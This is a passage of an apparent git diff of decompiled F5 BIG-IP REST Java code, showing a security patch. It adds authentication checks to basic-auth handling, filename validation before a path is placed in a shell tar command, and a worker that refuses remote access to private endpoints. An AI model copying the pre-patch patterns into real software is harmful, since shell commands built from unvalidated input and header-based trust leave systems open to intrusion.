byte[] data) { RestOperationIdentifier.LOGGER.fineFmt("Read public key %s/%s for %s: %s", new Object[] { this.val$ipAddress, Boolean.valueOf(this.val$isCmiKey), this.val$incomingRequest.getReferer(), exception }); finalRunnable.run(); } }); return true; } private static void setIdentityFromDeviceAuthToken(String authToken, byte[] publicKeyBytes, RestReference deviceUserReference, RestOperation request) { RSAPublicKey publicKey; DeviceAuthToken deviceAuthToken; try { publicKey = DeviceAuthTokenHelper.makePublicKeyFromBytes(publicKeyBytes); } catch (Exception exception) { LOGGER.warningFmt("Public key file on disk error: %s", new Object[] { RestHelper.throwableStackToString(exception) }); return; } try { deviceAuthToken = DeviceAuthTokenHelper.decryptAuthToken(authToken, publicKey); } catch (Exception exception) { LOGGER.fineFmt("Invalid auth token %s from %s: %s", new Object[] { authToken, request.getReferer(), exception }); return; } LOGGER.finestFmt("token timestamp=%s", new Object[] { Integer.valueOf(deviceAuthToken.getTimestamp()) }); if (deviceUserReference == null) { deviceUserReference = AuthzHelper.getDefaultAdminReference(); } request.setIdentityData(null, deviceUserReference, null); request.setTrustedRequest(true); } private static boolean setIdentityFromF5AuthToken(RestOperation request) { AuthTokenItemState token = request.getXF5AuthTokenState(); if (token == null) { return false; } request.setIdentityData(token.userName, token.user, AuthzHelper.toArray(token.groupReferences)); return true; } - private static boolean setIdentityFromBasicAuth(RestOperation request) { + + + private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) { String authHeader = request.getBasicAuthorization(); if (authHeader == null) { return false; } - AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader); - request.setIdentityData(components.userName, null, null); + final AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader); + + + + + + String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host"); + + + + if (xForwardedHostHeaderValue == null) { + request.setIdentityData(components.userName, null, null); + if (runnable != null) { + runnable.run(); + } + return true; + } + + + + String[] valueList = xForwardedHostHeaderValue.split(", "); + int valueIdx = (valueList.length > 1) ? (valueList.length - 1) : 0; + if (valueList[valueIdx].contains("localhost") || valueList[valueIdx].contains("127.0.0.1")) { + + request.setIdentityData(components.userName, null, null); + if (runnable != null) { + runnable.run(); + } + return true; + } + + + if (!PasswordUtil.isPasswordReset().booleanValue()) { + request.setIdentityData(components.userName, null, null); + if (runnable != null) { + runnable.run(); + } + return true; + } + + AuthProviderLoginState loginState = new AuthProviderLoginState(); + loginState.username = components.userName; + loginState.password = components.password; + loginState.address = request.getRemoteSender(); + RestRequestCompletion authCompletion = new RestRequestCompletion() + { + public void completed(RestOperation subRequest) { + request.setIdentityData(components.userName, null, null); + if (runnable != null) { + runnable.run(); + } + } + + + public void failed(Exception ex, RestOperation subRequest) { + RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[] { ex.getMessage() }); + if (ex.getMessage().contains("Password expired")) { + request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION)); + } + if (runnable != null) { + runnable.run(); + } + } + }; + + try { + RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), null)).setCompletion(authCompletion); + + + RestRequestSender.sendPost(subRequest); + } catch (URISyntaxException e) { + LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[] { e.getMessage() }); + } return true; } } diff --git a/com/f5/rest/tmos/bigip/access/iapp/IAppBundleInstallTaskCollectionWorker.java b/com/f5/rest/tmos/bigip/access/iapp/IAppBundleInstallTaskCollectionWorker.java index afc6890..7a0fe79 100644 --- a/com/f5/rest/tmos/bigip/access/iapp/IAppBundleInstallTaskCollectionWorker.java +++ b/com/f5/rest/tmos/bigip/access/iapp/IAppBundleInstallTaskCollectionWorker.java @@ -1,788 +1,803 @@ package com.f5.rest.tmos.bigip.access.iapp; import com.f5.rest.common.CompletionHandler; import com.f5.rest.common.RestHelper; import com.f5.rest.common.RestOperation; import com.f5.rest.common.RestRequestCompletion; import com.f5.rest.common.RestServer; import com.f5.rest.common.RestThreadManager; import com.f5.rest.common.UrlHelper; import com.f5.rest.common.Utilities; import com.f5.rest.common.VersionUtil; import com.f5.rest.tmos.bigip.access.util.LangUtil; import com.f5.rest.workers.DeviceInfoState; import com.f5.rest.workers.device.DeviceInfoWorker; import com.f5.rest.workers.iapp.IAppPackageManagementTaskCollectionWorker; import com.f5.rest.workers.iapp.IAppPackageManagementTaskState; import com.f5.rest.workers.iapp.packaging.GlobalInstalledPackageCollectionWorker; import com.f5.rest.workers.iapp.packaging.InstalledPackageCollectionState; import com.f5.rest.workers.iapp.packaging.InstalledPackageState; import com.f5.rest.workers.shell.ShellExecutionResult; import com.f5.rest.workers.shell.ShellExecutor; import com.f5.rest.workers.task.AbstractTaskCollectionWorker; import com.f5.rest.workers.task.TaskCompletion; import com.f5.rest.workers.task.TaskItemState; import com.google.gson.JsonObject; import java.io.ByteArrayInputStream; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.net.URI; import java.nio.ByteBuffer; import java.nio.channels.AsynchronousFileChannel; import java.nio.channels.CompletionHandler; import java.nio.file.OpenOption; import java.nio.file.Path; import java.nio.file.Paths; import java.nio.file.StandardOpenOption; import java.util.ArrayList; import java.util.Date; import java.util.concurrent.TimeUnit; +import java.util.regex.Matcher; +import java.util.regex.Pattern; public class IAppBundleInstallTaskCollectionWorker extends AbstractTaskCollectionWorker<IAppBundleInstallTaskState, IAppBundleInstallCollectionState> { private static final String AGC_USE_CASE_PACK_BUILD_NOT_FOUND = "Access Guided Configuration use case pack name does not contain build number"; private static final String AGC_PACK_NOT_FOUND = "Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack."; public static final String IAPP_BUNDLE_INSTALL_TASKS_SEGMENT = "bundle-install-tasks"; public static final String WORKER_URI_PATH = UrlHelper.buildUriPath(new String[] { "tm/", "access", "bundle-install-tasks" }); private static final String ERROR_TASK_BODY_INVALID = "IApp bundle install task body is invalid."; + private static final String TAR_FILE_PATH = "/var/apm/f5-iappslx-agc-usecase-pack/"; private static final String RPMS_FILE_PATH = "/var/config/rest/downloads/"; private static final String FRAMEWORK = "framework"; private static final String AGC_USECASE_PACK_INFO_WORKER_URI_PATH = "/mgmt/tm/access/usecase-pack-info"; private static final String AGC_USE_CASE_PACK_VERSION = "usecasePackVersion"; private static final String AGC_USE_CASE_PACK_BUILD = "usecasePackBuild"; private String bigIpVersion; private static final int MAX_RETRY_COUNT = 5; private static final int RETRY_WAIT_TIME_MULTIPLIER = 5000; + private static final Pattern validFilePathChars = Pattern.compile("(^[a-zA-Z][a-zA-Z0-9_.\\-\\s()]*)\\.([tT][aA][rR]\\.[gG][zZ])$"); public IAppBundleInstallTaskCollectionWorker() { super(IAppBundleInstallTaskState.class, IAppBundleInstallCollectionState.class); this.state = new IAppBundleInstallCollectionState(); setReplicated(false); setIndexed(true); setIsObliteratedOnDelete(true); configureTaskJanitor(TimeUnit.HOURS.toMillis(1L), TimeUnit.DAYS.toMillis(1L)); } public void onStart(RestServer server) { completeStart(IAppBundleInstallCollectionState.class, new URI[] { buildLocalUri(new String[] { IAppPackageManagementTaskCollectionWorker.WORKER_URI_PATH }) }); } public void validateTaskRequest(IAppBundleInstallTaskState taskState) throws Exception { if (taskState == null) { throw new IllegalArgumentException("IApp bundle install task body is invalid."); } } protected void startTask(IAppBundleInstallTaskState taskState) { taskState.status = TaskItemState.Status.STARTED; if (taskState.startTime == null) { taskState.startTime = new Date(); } taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.VALIDATE_GZIP_BUNDLE; sendStatusUpdate(taskState); } public void processTaskStep(IAppBundleInstallTaskState taskState, Object userData) { int retryCount; switch (taskState.step) { case VALIDATE_GZIP_BUNDLE: validateGzipBundle(taskState); return; case QUERY_INSTALLED_RPM: queryInstalledRpm(taskState); return; case QUERY_BIGIP_VERSION: queryBigipVersion(taskState); return; case EXTRACT_RPMS_FROM_BUNDLE: extractRpmsFromBundle(taskState); return; case READ_MANIFEST_FILE: readManifestFile(taskState); return; case FILTER_RPMS_ON_MIN_BIGIP_VERSION_REQUIRED: filterRpmsOnMinBigipVersionRequired(taskState); return; case INSTALL_FRAMEWORK_RPM: installFrameworkRpmInBundle(taskState); return; case INSTALL_APP_RPMS: installAppRpmsInBundle(taskState); return; case UPDATE_USECASE_PACK_VERSION: retryCount = 0; if (userData != null) { retryCount = ((Integer)userData).intValue(); } updateUsecasePackVersion(taskState, retryCount); return; case DONE: taskState.status = TaskItemState.Status.FINISHED; sendStatusUpdate(taskState); return; } throw new IllegalStateException("Unknown IApp bundle install task step: " + taskState.step); } private void validateGzipBundle(final IAppBundleInstallTaskState taskState) { if (Utilities.isNullOrEmpty(taskState.filePath)) { File agcUseCasePackDir = new File("/var/apm/f5-iappslx-agc-usecase-pack/"); if (!agcUseCasePackDir.exists() || !agcUseCasePackDir.isDirectory()) { String error = "Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack."; failTask(taskState, error, ""); return; } File[] agcUseCasePack = agcUseCasePackDir.listFiles(); if (agcUseCasePack == null || agcUseCasePack.length == 0 || !agcUseCasePack[0].isFile()) { String error = "Access Guided Configuration use case pack not found on BIG-IP. Please upload and install the pack."; failTask(taskState, error, ""); return; } taskState.filePath = agcUseCasePack[0].getPath(); } + String filename = taskState.filePath.substring(taskState.filePath.lastIndexOf('/') + 1); + Matcher m = validFilePathChars.matcher(filename); + if (!m.matches()) { + String errorMessage = String.format("Access Guided Configuration use case pack validation failed: the file name %s must begin with alphabet, and only contain letters, numbers, spaces and/or special characters (underscore (_), period (.), hyphen (-) and round brackets ()). Only a .tar.gz file is allowed", new Object[] { filename }); + + + + failTask(taskState, errorMessage, ""); + + return; + } final String extractTarCommand = "tar -xf " + taskState.filePath + " -O > /dev/null"; ShellExecutor extractTar = new ShellExecutor(extractTarCommand); CompletionHandler<ShellExecutionResult> executionFinishedHandler = new CompletionHandler<ShellExecutionResult>() { public void completed(ShellExecutionResult extractQueryResult) { if (extractQueryResult.getExitStatus().intValue() != 0) { String error = extractTarCommand + " failed with exit code=" + extractQueryResult.getExitStatus(); IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, "Usecase pack validation failed. Please ensure that usecase pack is a valid tar archive.", error + "stdout + stderr=" + extractQueryResult.getOutput()); return; } taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.QUERY_INSTALLED_RPM; IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState); } public void failed(Exception ex, ShellExecutionResult rpmQueryResult) { IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, "Usecase pack validation failed. Please ensure that usecase pack is a valid tar archive.", String.format("%s failed", new Object[] { this.val$extractTarCommand }) + RestHelper.throwableStackToString(ex)); } }; extractTar.startExecution(executionFinishedHandler); } private void queryInstalledRpm(final IAppBundleInstallTaskState taskState) { RestRequestCompletion queryCompletion = new RestRequestCompletion() { public void completed(RestOperation operation) { InstalledPackageCollectionState installedPackages = (InstalledPackageCollectionState)operation.getTypedBody(InstalledPackageCollectionState.class); if (installedPackages != null) { taskState.alreadyInstalledRpmsInfo = new ArrayList<>(); for (InstalledPackageState installedPackage : installedPackages.items) { taskState.alreadyInstalledRpmsInfo.add(new IAppBundleInstallTaskState.RpmPackageInfo(installedPackage.appName, installedPackage.version, installedPackage.release, installedPackage.arch, "")); } } taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.QUERY_BIGIP_VERSION; IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState); } public void failed(Exception exception, RestOperation operation) { taskState.errorMessage = String.format("Failed to query Global Installed Package Worker: %s", new Object[] { exception.getMessage() }); IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, taskState.errorMessage, RestHelper.throwableStackToString(exception)); } }; RestOperation queryOperation = RestOperation.create().setCompletion(queryCompletion).setUri(buildLocalUri(new String[] { GlobalInstalledPackageCollectionWorker.WORKER_URI_PATH })); sendGet(queryOperation); } private void queryBigipVersion(final IAppBundleInstallTaskState taskState) { RestRequestCompletion queryCompletion = new RestRequestCompletion() { public void completed(RestOperation operation) { DeviceInfoState infoState = (DeviceInfoState)operation.getTypedBody(DeviceInfoState.class); IAppBundleInstallTaskCollectionWorker.this.bigIpVersion = infoState.version; taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.EXTRACT_RPMS_FROM_BUNDLE; IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState); } public void failed(Exception exception, RestOperation operation) { taskState.errorMessage = String.format("Failed to query BigIP version from DeviceInfo Worker: %s", new Object[] { exception.getMessage() }); IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, taskState.errorMessage, RestHelper.throwableStackToString(exception)); } }; RestOperation queryOperation = RestOperation.create().setCompletion(queryCompletion).setUri(buildLocalUri(new String[] { DeviceInfoWorker.WORKER_URI_PATH })); sendGet(queryOperation); } private void extractRpmsFromBundle(final IAppBundleInstallTaskState taskState) { final String extractTarCommand = "tar -xvf " + taskState.filePath + " --directory " + "/var/config/rest/downloads/"; ShellExecutor extractTar = new ShellExecutor(extractTarCommand); CompletionHandler<ShellExecutionResult> executionFinishedHandler = new CompletionHandler<ShellExecutionResult>() { public void completed(ShellExecutionResult extractTarResult) { if (extractTarResult.getExitStatus().intValue() != 0) { String error = extractTarCommand + " failed with exit code=" + extractTarResult.getExitStatus(); IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, "Validate usecase pack by extracting iApps failed", error + "stdout + stderr=" + extractTarResult.getOutput()); return; } populateRpmsToBeInstalled(taskState, extractTarResult); taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.READ_MANIFEST_FILE; IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState); } private void populateRpmsToBeInstalled(IAppBundleInstallTaskState taskState, ShellExecutionResult extractTarResult) { ArrayList<IAppBundleInstallTaskState.RpmPackageInfo> alreadyInstalledRpms = new ArrayList<>(); taskState.appRpmsInfo = new ArrayList<>(); String[] rpmsToBeInstalled = extractTarResult.getOutput().split("\\n"); for (int i = 0; i < rpmsToBeInstalled.length; i++) { if (isManifestFile(rpmsToBeInstalled[i])) { taskState.manifestFileName = rpmsToBeInstalled[i]; } else { IAppBundleInstallTaskState.RpmPackageInfo rpmToBeInstalled = getRpmPackageInfo(rpmsToBeInstalled[i]); if (!rpmToBeInstalled.error.equals("")) { updateRpmStatus(taskState, rpmsToBeInstalled[i], IAppBundleInstallTaskState.RpmStatus.ERRORED, rpmToBeInstalled.error); } else if (isRpmInstallRequired(rpmToBeInstalled)) { updateRpmStatus(taskState, rpmsToBeInstalled[i], IAppBundleInstallTaskState.RpmStatus.EXTRACTED, ""); } else { alreadyInstalledRpms.add(rpmToBeInstalled); } } } taskState.alreadyInstalledRpmsInfo = alreadyInstalledRpms; } private boolean isManifestFile(String fileName) { int index = fileName.lastIndexOf('.'); if (index != -1 && fileName.substring(index + 1).equals("json")) { return true; } return false; } private void updateRpmStatus(IAppBundleInstallTaskState taskState, String rpmToBeInstalled, IAppBundleInstallTaskState.RpmStatus rpmStatus, String error) { if (rpmToBeInstalled.contains("framework")) { taskState.frameworkRpmInfo = new IAppBundleInstallTaskState.RpmInfo(rpmToBeInstalled, rpmStatus, error); } else { taskState.appRpmsInfo.add(new IAppBundleInstallTaskState.RpmInfo(rpmToBeInstalled, rpmStatus, error)); } } private boolean isRpmInstallRequired(IAppBundleInstallTaskState.RpmPackageInfo rpmToBeInstalled) { if (taskState.alreadyInstalledRpmsInfo == null || taskState.alreadyInstalledRpmsInfo.isEmpty()) { return true; } for (IAppBundleInstallTaskState.RpmPackageInfo alreadyInstalledRpm : taskState.alreadyInstalledRpmsInfo) { if (alreadyInstalledRpm.name.equals(rpmToBeInstalled.name)) { if (VersionUtil.compareVersion(alreadyInstalledRpm.version, rpmToBeInstalled.version) > 0) { rpmToBeInstalled.error = createAlreadyInstalledRpmErrorMessage(rpmToBeInstalled, alreadyInstalledRpm); return false; } if (VersionUtil.compareVersion(alreadyInstalledRpm.version, rpmToBeInstalled.version) == 0) { if (VersionUtil.compareBuild(alreadyInstalledRpm.release, rpmToBeInstalled.release) >= 0) { createAlreadyInstalledRpmErrorMessage(rpmToBeInstalled, alreadyInstalledRpm); return false; } } break; } } return true; } private String createAlreadyInstalledRpmErrorMessage(IAppBundleInstallTaskState.RpmPackageInfo rpmToBeInstalled, IAppBundleInstallTaskState.RpmPackageInfo alreadyInstalledRpm) { return rpmToBeInstalled.error = "Installed rpm version is " + alreadyInstalledRpm.version + " and release is " + alreadyInstalledRpm.release; } private IAppBundleInstallTaskState.RpmPackageInfo getRpmPackageInfo(String rpmFileName) { IAppBundleInstallTaskState.RpmPackageInfo rpmPackageInfo = new IAppBundleInstallTaskState.RpmPackageInfo("", "", "", "", ""); int index = rpmFileName.lastIndexOf('.'); if (index == -1 || !rpmFileName.substring(index + 1).equals("rpm")) { rpmPackageInfo.error = "Not a rpm file"; return rpmPackageInfo; } rpmFileName = rpmFileName.substring(0, index); index = rpmFileName.lastIndexOf('.'); String subStr; if (index == -1 || !(subStr = rpmFileName.substring(index + 1)).equals("noarch")) { rpmPackageInfo.error = "Invalid file name format - 'arch' not found in file name"; return rpmPackageInfo; } rpmPackageInfo.arch = subStr; rpmFileName = rpmFileName.substring(0, index); index = rpmFileName.lastIndexOf('-'); if (index == -1 || (subStr = rpmFileName.substring(index + 1)).length() == 0 || !Character.isDigit(subStr.charAt(0))) { rpmPackageInfo.error = "Invalid file name format - release not found in file name"; return rpmPackageInfo; } rpmPackageInfo.release = subStr; rpmFileName = rpmFileName.substring(0, index); index = rpmFileName.lastIndexOf('-'); if (index == -1 || (subStr = rpmFileName.substring(index + 1)).length() == 0 || !Character.isDigit(subStr.charAt(0))) { rpmPackageInfo.error = "Invalid file name format - version not found in file name"; return rpmPackageInfo; } rpmPackageInfo.version = subStr; rpmPackageInfo.name = rpmFileName.substring(0, index); if (rpmPackageInfo.name.length() == 0) { rpmPackageInfo.error = "Invalid file name format - name not found in file name"; return rpmPackageInfo; } return rpmPackageInfo; } public void failed(Exception ex, ShellExecutionResult rpmQueryResult) { IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, "Extract iApps from usecase pack failed", String.format("%s failed", new Object[] { this.val$extractTarCommand }) + RestHelper.throwableStackToString(ex)); } }; extractTar.startExecution(executionFinishedHandler); } private void readManifestFile(final IAppBundleInstallTaskState taskState) { if (LangUtil.isNullOrEmpty(taskState.manifestFileName)) { failTask(taskState, "Access Guided Configuration use case pack does not contain manifest file.", ""); return; } final CompletionHandler<Integer, ByteBuffer> completion = new CompletionHandler<Integer, ByteBuffer>() { public void completed(Integer result, ByteBuffer bb) { InputStream in = new ByteArrayInputStream(bb.array()); InputStreamReader inr = new InputStreamReader(in); taskState.manifest = (IAppBundleInstallTaskState.Manifest)RestOperation.fromJson(inr, IAppBundleInstallTaskState.Manifest.class); taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.FILTER_RPMS_ON_MIN_BIGIP_VERSION_REQUIRED; IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState); } public void failed(Throwable exc, ByteBuffer attachment) { IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, String.format("Failed to read manifest file %s - %s", new Object[] { this.val$taskState.manifestFileName, exc.getMessage() }), RestHelper.throwableStackToString(exc)); } }; StandardOpenOption option = StandardOpenOption.READ; Path path = Paths.get("/var/config/rest/downloads/" + taskState.manifestFileName, new String[0]); try { final AsynchronousFileChannel fileChannel = AsynchronousFileChannel.open(path, new OpenOption[] { option }); ByteBuffer buffer = ByteBuffer.allocate((int)fileChannel.size()); CompletionHandler<Integer, ByteBuffer> completionHandler = new CompletionHandler<Integer, ByteBuffer>() { public void completed(final Integer result, final ByteBuffer attachment) { RestThreadManager.getBlockingPool().execute(new Runnable() { public void run() { completion.completed(result, attachment); try { fileChannel.close(); } catch (IOException e) { IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, String.format("Failed to close channel for manifest file %s - %s", new Object[] { this.this$1.val$taskState.manifestFileName, e.getMessage() }), RestHelper.throwableStackToString(e)); } } }); } public void failed(final Throwable exc, final ByteBuffer attachment) { RestThreadManager.getBlockingPool().execute(new Runnable() { public void run() { completion.failed(exc, attachment); try { fileChannel.close(); } catch (IOException e) { IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, String.format("Failed to close channel for manifest file %s - %s", new Object[] { this.this$1.val$taskState.manifestFileName, this.val$exc.getMessage() }), RestHelper.throwableStackToString(exc)); } } }); } }; fileChannel.read(buffer, 0L, buffer, completionHandler); } catch (IOException e) { failTask(taskState, String.format("Failed to read manifest file %s - %s", new Object[] { taskState.manifestFileName, e.getMessage() })); } } private void filterRpmsOnMinBigipVersionRequired(IAppBundleInstallTaskState taskState) { if (taskState.frameworkRpmInfo != null) { checkForMinBigIPVersion(taskState, taskState.frameworkRpmInfo); } for (IAppBundleInstallTaskState.RpmInfo appRpmInfo : taskState.appRpmsInfo) { checkForMinBigIPVersion(taskState, appRpmInfo); } if (taskState.frameworkRpmInfo != null && taskState.frameworkRpmInfo.status != IAppBundleInstallTaskState.RpmStatus.ERRORED) { taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.INSTALL_FRAMEWORK_RPM; } else if (!taskState.appRpmsInfo.isEmpty()) { taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.INSTALL_APP_RPMS; } else { taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.DONE; } sendStatusUpdate(taskState); } private void checkForMinBigIPVersion(IAppBundleInstallTaskState taskState, IAppBundleInstallTaskState.RpmInfo rpmInfo) { for (IAppBundleInstallTaskState.Manifest.Package pkg : taskState.manifest.packages) { if (rpmInfo.name.contains(pkg.name)) { if (VersionUtil.compareVersion(this.bigIpVersion, pkg.minBigIpVersion) < 0) { rpmInfo.error = "BigIP version (" + this.bigIpVersion + ") is lower than minimum BigIP version (" + pkg.minBigIpVersion + ") required for the iApp Rpm."; rpmInfo.status = IAppBundleInstallTaskState.RpmStatus.ERRORED; } break; } } } private void installFrameworkRpmInBundle(IAppBundleInstallTaskState taskState) { IAppBundleInstallTaskState.IAppBundleInstallStep nextStep = IAppBundleInstallTaskState.IAppBundleInstallStep.UPDATE_USECASE_PACK_VERSION; if (!taskState.appRpmsInfo.isEmpty()) { nextStep = IAppBundleInstallTaskState.IAppBundleInstallStep.INSTALL_APP_RPMS; } installRpm(taskState.frameworkRpmInfo, taskState, nextStep); } private void installAppRpmsInBundle(IAppBundleInstallTaskState taskState) { IAppBundleInstallTaskState.RpmInfo appRpm; do { taskState.toBeInstalledAppRpmsIndex++; if (taskState.toBeInstalledAppRpmsIndex == taskState.appRpmsInfo.size()) { taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.UPDATE_USECASE_PACK_VERSION; sendStatusUpdate(taskState); return; } appRpm = taskState.appRpmsInfo.get(taskState.toBeInstalledAppRpmsIndex); } while (appRpm.status == IAppBundleInstallTaskState.RpmStatus.ERRORED); installRpm(appRpm, taskState, IAppBundleInstallTaskState.IAppBundleInstallStep.INSTALL_APP_RPMS); } private void installRpm(final IAppBundleInstallTaskState.RpmInfo rpmInfo, final IAppBundleInstallTaskState taskState, final IAppBundleInstallTaskState.IAppBundleInstallStep nextStep) { rpmInfo.status = IAppBundleInstallTaskState.RpmStatus.INSTALLING; IAppPackageManagementTaskState packageMgmt = new IAppPackageManagementTaskState(); packageMgmt.operation = IAppPackageManagementTaskState.IAppPackageOperation.INSTALL; packageMgmt.packageFilePath = "/var/config/rest/downloads/" + rpmInfo.name; RestRequestCompletion installCompletion = new RestRequestCompletion() { public void completed(RestOperation operation) { rpmInfo.status = IAppBundleInstallTaskState.RpmStatus.INSTALLED; taskState.step = nextStep; IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState); } public void failed(Exception exception, RestOperation operation) { IAppPackageManagementTaskState installResponse = (IAppPackageManagementTaskState)operation.getTypedBody(IAppPackageManagementTaskState.class); String errorMessage = (installResponse != null && installResponse.errorMessage != null) ? installResponse.errorMessage : ""; rpmInfo.status = IAppBundleInstallTaskState.RpmStatus.ERRORED; rpmInfo.error = errorMessage; taskState.step = nextStep; IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState); } }; RestOperation installOperation = RestOperation.create().setUri(buildLocalUri(new String[] { IAppPackageManagementTaskCollectionWorker.WORKER_URI_PATH })).setBody(packageMgmt).setCompletion((RestRequestCompletion)new TaskCompletion(getServer(), getLogger(), installCompletion)); sendPost(installOperation); } private void updateUsecasePackVersion(final IAppBundleInstallTaskState taskState, final int retryCount) { RestRequestCompletion postCompletion = new RestRequestCompletion() { public void completed(RestOperation operation) { taskState.step = IAppBundleInstallTaskState.IAppBundleInstallStep.DONE; IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState); } public void failed(Exception exception, RestOperation operation) { if (retryCount < 5) { IAppBundleInstallTaskCollectionWorker.this.scheduleTaskOnce(new Runnable() { public void run() { IAppBundleInstallTaskCollectionWorker.this.sendStatusUpdate(taskState, Integer.valueOf(retryCount + 1)); } }5000 * (1 << retryCount)); } else { taskState.errorMessage = String.format("Failed to update usecase pack version: %s", new Object[] { exception.getMessage() }); IAppBundleInstallTaskCollectionWorker.this.failTask(taskState, taskState.errorMessage, RestHelper.throwableStackToString(exception)); } } }; JsonObject body = new JsonObject(); body.addProperty("usecasePackVersion", taskState.manifest.usecasePackVersion); body.addProperty("usecasePackBuild", getAgcUsecasePackBuild(taskState.filePath)); RestOperation postOperation = RestOperation.create().setBody(body).setBasicAuthorization("admin", "").setCompletion(postCompletion).setUri(buildLocalUri(new String[] { "/mgmt/tm/access/usecase-pack-info" })); sendPost(postOperation); } private String getAgcUsecasePackBuild(String filePath) { int ind = filePath.lastIndexOf('.'); if (ind != -1) { filePath = filePath.substring(0, ind); } ind = filePath.lastIndexOf('.'); if (ind != -1) { filePath = filePath.substring(0, ind); } ind = filePath.lastIndexOf('-'); if (ind == -1) { getLogger().info("Access Guided Configuration use case pack name does not contain build number"); return ""; } filePath = filePath.substring(ind + 1); if (!Character.isDigit(filePath.charAt(0))) { getLogger().info("Access Guided Configuration use case pack name does not contain build number"); return ""; } return filePath; } public void failTask(IAppBundleInstallTaskState taskState, String errorMessage, String errorDetails) { getLogger().severe(errorMessage + " error details: " + errorDetails); failTask(taskState, errorMessage); } } diff --git a/com/f5/rest/workers/FileTransferPrivateWorker.java b/com/f5/rest/workers/FileTransferPrivateWorker.java new file mode 100644 index 0000000..50238b7 --- /dev/null +++ b/com/f5/rest/workers/FileTransferPrivateWorker.java @@ -0,0 +1,84 @@ +package com.f5.rest.workers; + +import com.f5.rest.common.RestLogger; +import com.f5.rest.common.RestOperation; +import com.f5.rest.workers.filemanagement.FileManagementHelper; + + + + + + + + + + + + + + +public class FileTransferPrivateWorker + extends FileTransferWorker +{ + private static final RestLogger LOGGER = new RestLogger(FileTransferPrivateWorker.class, ""); + + + public FileTransferPrivateWorker(String postDirectory, String tmpDirectory) throws Exception { + super(postDirectory, tmpDirectory); + } + + + + + + + public FileTransferPrivateWorker(String getDirectory) throws Exception { + super(getDirectory); + } + + + public void onPost(RestOperation post) { + if (validateLocalRequest(post)) { + failRequest(post); + return; + } + super.onPost(post); + } + + + protected void onDelete(RestOperation delete) { + if (validateLocalRequest(delete)) { + failRequest(delete); + return; + } + super.onDelete(delete); + } + + + public void onGet(RestOperation get) { + if (validateLocalRequest(get)) { + failRequest(get); + return; + } + super.onGet(get); + } + + + protected void onQuery(RestOperation request) { + if (validateLocalRequest(request)) { + failRequest(request); + return; + } + super.onQuery(request); + } + + private boolean validateLocalRequest(RestOperation request) { + return request.getReferer().equals(request.getRemoteSender()); + } + + private void failRequest(RestOperation post) { + FileManagementHelper.cleanPostForResponse(post); + post.setStatusCode(404); + post.fail(new IllegalAccessException("Private endpoints are not supported from remote")); + } +} diff --git a/com/f5/rest/workers/RolesWorker.java b/com/f5/rest/workers/RolesWorker.java index 244f6d5..2ef8e3b 100644 --- a/com/f5/rest/workers/RolesWorker.java +++ b/com/f5/rest/workers/RolesWorker.java @@ -1,1375 +1,1371 @@ package com.f5.rest.workers; import com.f5.rest.common.CompletionHandler; import com.f5.rest.common.RestCollectionMergeResult; import com.f5.rest.common.RestCollectionWorker; import com.f5.rest.common.RestHelper; import com.f5.rest.common.RestOperation; import com.f5.rest.common.RestReference; import com.f5.rest.common.RestRequestCompletion; import com.f5.rest.common.RestServer; import com.f5.rest.common.RestWorker; import com.f5.rest.common.SubscriptionWorker; import com.f5.rest.common.UrlHelper; import com.f5.rest.common.WellKnownPorts; import com.f5.rest.workers.authn.AuthnWorker; import com.f5.rest.workers.authz.AuthzHelper; import com.f5.rest.workers.authz.EffectivePermissionsWorker; import com.f5.rest.workers.gossip.RemoteStateCopier; import java.net.URI; import java.util.HashSet; import java.util.Iterator; import java.util.Map; import java.util.Set; import java.util.TimerTask; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentLinkedQueue; import java.util.concurrent.atomic.AtomicBoolean; public class RolesWorker extends RestCollectionWorker<RolesWorkerState, RolesCollectionState> implements EvaluatePermissions.Evaluate { public static final String WORKER_URI_PATH = WellKnownPorts.AUTHZ_ROLES_WORKER_URI_PATH; private static final String EXTERNAL_ROLES_WORKER_URI_PATH = UrlHelper.normalizeUriPath(UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_ROLES_WORKER_URI_PATH)); private static final String EXTERNAL_RESOURCE_GROUPS_WORKER_URI_PATH = 